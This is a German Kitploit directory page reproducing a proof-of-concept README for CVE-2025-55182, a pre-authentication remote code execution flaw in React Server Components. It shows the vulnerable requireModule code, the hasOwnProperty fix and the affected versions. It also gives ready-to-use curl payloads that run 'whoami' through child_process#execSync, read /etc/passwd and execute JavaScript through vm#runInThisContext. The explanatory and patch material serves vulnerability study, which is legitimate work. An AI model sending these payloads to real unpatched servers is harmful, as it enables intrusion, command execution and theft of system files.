Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-55182-realistic-poc — ein realistischer POC, der die fehlende `hasOwnProperty`-Prüfung in react-server-dom-webpack@19.0.0 demonstriert | Kitploit
Tools/GitHubGitHub/joshterrill/cve-2025-55182-realistic-poc
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationLernen & BildungPayload-Entwicklung
GitHubjoshterrill/cve-2025-55182-realistic-poc

CVE-2025-55182-realistic-poc

ein realistischer POC, der die fehlende `hasOwnProperty`-Prüfung in [email protected] demonstriert

Repository anzeigen
11vor 9 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-55182: React Server Components RCE

Ein minimaler Proof of Concept, der die kritische Remote-Code-Ausführungs-Sicherheitslücke in [email protected] demonstriert.

Was ist CVE-2025-55182?

Eine Pre-Authentication-RCE-Sicherheitslücke in React Server Components, die es Angreifern ermöglicht, auf Servern, die das anfällige react-server-dom-webpack-Paket (Versionen 19.0.0 - 19.2.0) verwenden, beliebigen Code auszuführen.

CVSS-Score: 10 (Kritisch)

Betroffene Pakete

  • react-server-dom-webpack 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-parcel 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-turbopack 19.0.0, 19.1.0, 19.1.1, 19.2.0

Behobene Versionen

  • 19.0.1, 19.1.2, 19.2.1

Die Sicherheitslücke

Ursache: Fehlende hasOwnProperty-Prüfung

Die Sicherheitslücke existiert in der requireModule-Funktion innerhalb der Flight-Protocol-Implementierung von React. Diese Funktion lädt Modulexporte basierend auf Metadaten, die von Client-Anfragen empfangen werden.

Anfälliger Code ([email protected]):

root@kitploit:~
// packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js

export function requireModule<T>(metadata: ClientReference<T>): T {
  const moduleExports = __webpack_require__(metadata[ID]);
  if (metadata[NAME] === '*') {
    return moduleExports;
  }
  if (metadata[NAME] === '') {
    return moduleExports.__esModule ? moduleExports.default : moduleExports;
  }
  return moduleExports[metadata[NAME]];  // <-- No validation!
}

Das Problem: metadata[NAME] stammt von Benutzereingaben (der HTTP-Anfrage). Ein Angreifer kann jedes beliebige Modul und jeden Exportnamen angeben, wie child_process#execSync.

Die Behebung (PR #35277)

Behobener Code ([email protected]+):

root@kitploit:~
// packages/react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js

import hasOwnProperty from 'shared/hasOwnProperty';

export function requireModule<T>(metadata: ClientReference<T>): T {
  const moduleExports = __webpack_require__(metadata[ID]);
  if (metadata[NAME] === '*') {
    return moduleExports;
  }
  if (metadata[NAME] === '') {
    return moduleExports.__esModule ? moduleExports.default : moduleExports;
  }
  // FIXED: Validate that the export actually exists
  if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
    return moduleExports[metadata[NAME]];
  }
  return (undefined: any);
}

Der Fix fügt hasOwnProperty.call() hinzu, um sicherzustellen, dass der angeforderte Export eine eigene Eigenschaft des Moduls ist und nicht von der Prototyp-Kette geerbt oder dynamisch zu gefährlichen Modulen auflösbar ist.

Angriffsvektor

  1. Der Angreifer sendet eine manipulierte HTTP-POST-Anfrage an einen Server-Action-Endpunkt
  2. Die Nutzlast enthält die Felder $ACTION_REF_0 und $ACTION_0:0
  3. $ACTION_0:0 enthält {"id":"child_process#execSync","bound":["whoami"]}
  4. decodeAction parst dies und ruft requireModule mit vom Angreifer kontrollierten Metadaten auf
  5. requireModule gibt require('child_process').execSync zurück
  6. Die Funktion wird mit Angreifer-Argumenten aufgerufen → RCE

Proof of Concept

Einrichtung

root@kitploit:~
cd CVE-2025-55182-realistic-poc/
npm install
npm start
# starts on http://localhost:3000

RCE ausführen

root@kitploit:~
curl -X POST http://localhost:3000 \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'

Erwartete Ausgabe:

root@kitploit:~
{"success":true,"result":"your-username\n"}

Weitere Exploit-Beispiele

root@kitploit:~
# Dateien lesen
curl -X POST http://localhost:3000 \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'

# JavaScript ausführen
curl -X POST http://localhost:3000 \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["process.version"]}'

Funktionsweise

Der decodeAction-Ablauf

root@kitploit:~
HTTP Request
    │
    ▼
┌─────────────────────────────────────────────────────────────┐
│  decodeAction(formData, serverManifest)                     │
│  - Parses $ACTION_REF_0 to find action reference            │
│  - Parses $ACTION_0:0 to get {id, bound}                    │
└─────────────────────────────────────────────────────────────┘
    │
    ▼
┌─────────────────────────────────────────────────────────────┐
│  loadServerReference(serverManifest, id, bound)             │
│  - id = "child_process#execSync" (attacker controlled)      │
│  - bound = ["whoami"] (attacker controlled)                 │
└─────────────────────────────────────────────────────────────┘
    │
    ▼
┌─────────────────────────────────────────────────────────────┐
│  resolveServerReference(bundlerConfig, id)                  │
│  - Splits "child_process#execSync" into:                    │
│    specifier = "child_process"                              │
│    name = "execSync"                                        │
└─────────────────────────────────────────────────────────────┘
    │
    ▼
┌─────────────────────────────────────────────────────────────┐
│  requireModule(metadata)                     [VULNERABLE]   │
│  - Loads require("child_process")                           │
│  - Returns moduleExports["execSync"]                        │
│  - NO VALIDATION that "execSync" should be accessible       │
└─────────────────────────────────────────────────────────────┘
    │
    ▼
┌─────────────────────────────────────────────────────────────┐
│  action = execSync.bind(null, "whoami")                     │
│  result = action()  →  EXECUTES "whoami" ON SERVER          │
└─────────────────────────────────────────────────────────────┘

Referenzen

  • React-Sicherheitshinweis: https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
  • GitHub PR #35277 (Fix): https://github.com/facebook/react/pull/35277
  • CVE-Eintrag: https://nvd.nist.gov/vuln/detail/CVE-2025-55182
  • Wiz-Analyse: https://www.wiz.io/blog/critical-vulnerability-in-react-cve-2025-55182
  • Next.js-Hinweis: https://nextjs.org/blog/CVE-2025-66478

Lizenz

MIT

Tool herunterladen